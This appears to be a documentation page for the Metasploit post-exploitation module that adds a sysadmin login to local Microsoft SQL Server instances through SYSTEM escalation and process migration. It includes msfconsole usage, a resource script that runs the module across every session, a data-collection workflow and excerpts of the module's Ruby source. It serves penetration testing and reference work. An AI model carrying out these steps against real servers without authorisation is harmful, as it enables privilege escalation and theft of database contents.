Windows Manage Local Microsoft SQL Server Authorization Bypass - Metasploit


This page contains detailed information about how to use the post/windows/manage/mssql_local_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Local Microsoft SQL Server Authorization Bypass
Module: post/windows/manage/mssql_local_auth_bypass
Source code: modules/post/windows/manage/mssql_local_auth_bypass.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

When this module is executed, it can be used to add a sysadmin to local SQL Server instances. It first attempts to gain LocalSystem privileges using the "getsystem" escalation methods. If those privileges are not sufficient to add a sysadmin, then it will migrate to the SQL Server service process associated with the target instance. The sysadmin login is added to the local SQL Server using native SQL clients and stored procedures. If no instance is specified then the first identified instance will be used. Why is this possible? By default in SQL Server 2k-2k8, LocalSystem is assigned syadmin privileges. Microsoft changed the default in SQL Server 2012 so that LocalSystem no longer has sysadmin privileges. However, this can be overcome by migrating to the SQL Server process.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/mssql_local_auth_bypass

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/mssql_local_auth_bypass
msf post(mssql_local_auth_bypass) > show options
    ... show and set options ...
msf post(mssql_local_auth_bypass) > set SESSION session-id
msf post(mssql_local_auth_bypass) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/mssql_local_auth_bypass")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Overview


This post-exploitation module enables you to add a sysadmin to local SQL Server instances, use that login to collect and gather data, and remove the login from the system.

Pre-2008 versions of MSSQL servers automatically granted local sysadmins admin rights. This changed in MSSQL Server 2008, but there are still ways around to get around it, thanks to this module! If you are able to get domain admin privileges, you'll be able to add yourself to the database domain group and access the server with your newly added account.

Basic Workflow


  1. Get a Meterpreter session using a module like psexec.
  2. Create a syadmin login on the SQL server.
  3. Log into SQL Server with the newly created login.
  4. Find and collect data from the server using a module like Microsoft SQL Server Find and Sample Data.
  5. Remove the sysadmin login when you are done.

Options


The following options are required:

  • DB_PASSWORD - This option sets the password for the new sysadmin login.
  • DB_USERNAME - This option sets the name for the new sysadmin login.
  • REMOVE_LOGIN - This option removes DB_USERNAME from the database.
  • SESSION - This option sets the session that you want to use to run this module against.

Scenarios


Here's an example of how you can use this module:

meterpreter > use post/windows/manage/mssql_local_auth_bypass
meterpreter > set DB_USERNAME tacocat
meterpreter > set DB_PASSWORD 12345
meterpreter > set SESSION 1
meterpreter > exploit

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/mssql_local_auth_bypass post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/mssql_local_auth_bypass

msf6 post(windows/manage/mssql_local_auth_bypass) > show info

       Name: Windows Manage Local Microsoft SQL Server Authorization Bypass
     Module: post/windows/manage/mssql_local_auth_bypass
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Scott Sutherland <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  DB_PASSWORD                    yes       Password for new sysadmin login
  DB_USERNAME                    yes       New sysadmin login
  INSTANCE                       no        Name of target SQL Server instance
  REMOVE_LOGIN  false            yes       Remove DB_USERNAME login from database
  SESSION                        yes       The session to run this module on.

Description:
  When this module is executed, it can be used to add a sysadmin to 
  local SQL Server instances. It first attempts to gain LocalSystem 
  privileges using the "getsystem" escalation methods. If those 
  privileges are not sufficient to add a sysadmin, then it will 
  migrate to the SQL Server service process associated with the target 
  instance. The sysadmin login is added to the local SQL Server using 
  native SQL clients and stored procedures. If no instance is 
  specified then the first identified instance will be used. Why is 
  this possible? By default in SQL Server 2k-2k8, LocalSystem is 
  assigned syadmin privileges. Microsoft changed the default in SQL 
  Server 2012 so that LocalSystem no longer has sysadmin privileges. 
  However, this can be overcome by migrating to the SQL Server 
  process.

Module Options


This is a complete list of options available in the windows/manage/mssql_local_auth_bypass post exploitation module:

msf6 post(windows/manage/mssql_local_auth_bypass) > show options

Module options (post/windows/manage/mssql_local_auth_bypass):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DB_PASSWORD                    yes       Password for new sysadmin login
   DB_USERNAME                    yes       New sysadmin login
   INSTANCE                       no        Name of target SQL Server instance
   REMOVE_LOGIN  false            yes       Remove DB_USERNAME login from database
   SESSION                        yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/mssql_local_auth_bypass post exploitation module:

msf6 post(windows/manage/mssql_local_auth_bypass) > show advanced

Module advanced options (post/windows/manage/mssql_local_auth_bypass):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/mssql_local_auth_bypass module can do:

msf6 post(windows/manage/mssql_local_auth_bypass) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/mssql_local_auth_bypass post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/mssql_local_auth_bypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to identify a SQL client


Here is a relevant code snippet related to the "Unable to identify a SQL client" error message:

50:	    # Display target
51:	    print_status("#{session_display_info}: Running module against #{sysinfo['Computer']}")
52:	
53:	    # Identify available native SQL client
54:	    get_sql_client
55:	    fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
56:	
57:	    # Get LocalSystem privileges
58:	    system_status = get_system
59:	    fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
60:	    begin

Unable to get SYSTEM


Here is a relevant code snippet related to the "Unable to get SYSTEM" error message:

54:	    get_sql_client
55:	    fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
56:	
57:	    # Get LocalSystem privileges
58:	    system_status = get_system
59:	    fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
60:	    begin
61:	      service = check_for_sqlserver(instance)
62:	      fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
63:	
64:	      print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")

Unable to identify MSSQL Service


Here is a relevant code snippet related to the "Unable to identify MSSQL Service" error message:

57:	    # Get LocalSystem privileges
58:	    system_status = get_system
59:	    fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
60:	    begin
61:	      service = check_for_sqlserver(instance)
62:	      fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
63:	
64:	      print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")
65:	      instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').lstrip.rstrip
66:	
67:	      if datastore['REMOVE_LOGIN']

Retry


Here is a relevant code snippet related to the "Retry" error message:

80:	      add_login_status = add_sql_login(datastore['DB_USERNAME'],
81:	                                       datastore['DB_PASSWORD'],
82:	                                       instance_name)
83:	
84:	      unless add_login_status
85:	        raise RuntimeError, "Retry"
86:	      end
87:	    rescue RuntimeError => e
88:	      if e.message == "Retry"
89:	        retry if impersonate_sql_user(service)
90:	      else

Retry


Here is a relevant code snippet related to the "Retry" error message:

96:	  def remove_login(service, instance_name)
97:	    begin
98:	      remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
99:	
100:	      unless remove_status
101:	        raise RuntimeError, "Retry"
102:	      end
103:	    rescue RuntimeError => e
104:	      if e.message == "Retry"
105:	        retry if impersonate_sql_user(service)
106:	      else

Unable to add login <DBUSER>, user already exists


Here is a relevant code snippet related to the "Unable to add login <DBUSER>, user already exists" error message:

119:	    case add_login_result
120:	    when '', /new login created/i
121:	      print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
122:	      return true
123:	    when /already exists/i
124:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
125:	    when /password validation failed/i
126:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
127:	    else
128:	      print_error("#{session_display_info}: Unable to add login #{dbuser}")
129:	      print_error("#{session_display_info}: Database Error:\n #{add_login_result}")

Unable to add login <DBUSER>, password does not meet complexity requirements


Here is a relevant code snippet related to the "Unable to add login <DBUSER>, password does not meet complexity requirements" error message:

121:	      print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
122:	      return true
123:	    when /already exists/i
124:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
125:	    when /password validation failed/i
126:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
127:	    else
128:	      print_error("#{session_display_info}: Unable to add login #{dbuser}")
129:	      print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
130:	      return false
131:	    end

<SESSION_DISPLAY_INFO>: Unable to add login <DBUSER>


Here is a relevant code snippet related to the "<SESSION_DISPLAY_INFO>: Unable to add login <DBUSER>" error message:

123:	    when /already exists/i
124:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
125:	    when /password validation failed/i
126:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
127:	    else
128:	      print_error("#{session_display_info}: Unable to add login #{dbuser}")
129:	      print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
130:	      return false
131:	    end
132:	  end
133:	

<SESSION_DISPLAY_INFO>: Database Error:n <ADD_LOGIN_RESULT>


Here is a relevant code snippet related to the "<SESSION_DISPLAY_INFO>: Database Error:n <ADD_LOGIN_RESULT>" error message:

124:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
125:	    when /password validation failed/i
126:	      fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
127:	    else
128:	      print_error("#{session_display_info}: Unable to add login #{dbuser}")
129:	      print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
130:	      return false
131:	    end
132:	  end
133:	
134:	  def remove_sql_login(dbuser, instance_name)

<SESSION_DISPLAY_INFO>: Unabled to remove login <DBUSER>


Here is a relevant code snippet related to the "<SESSION_DISPLAY_INFO>: Unabled to remove login <DBUSER>" error message:

141:	    if remove_login_result.empty?
142:	      print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")
143:	      return true
144:	    else
145:	      # Fail
146:	      print_error("#{session_display_info}: Unabled to remove login #{dbuser}")
147:	      print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")
148:	      return false
149:	    end
150:	  end
151:	end

<SESSION_DISPLAY_INFO>: Database Error:nn <REMOVE_LOGIN_RESULT>


Here is a relevant code snippet related to the "<SESSION_DISPLAY_INFO>: Database Error:nn <REMOVE_LOGIN_RESULT>" error message:

141:	    if remove_login_result.empty?
142:	      print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")
143:	      return true
144:	    else
145:	      # Fail
146:	      print_error("#{session_display_info}: Unabled to remove login #{dbuser}")
147:	      print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")
148:	      return false
149:	    end
150:	  end
151:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Scott Sutherland <scott.sutherland[at]netspi.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.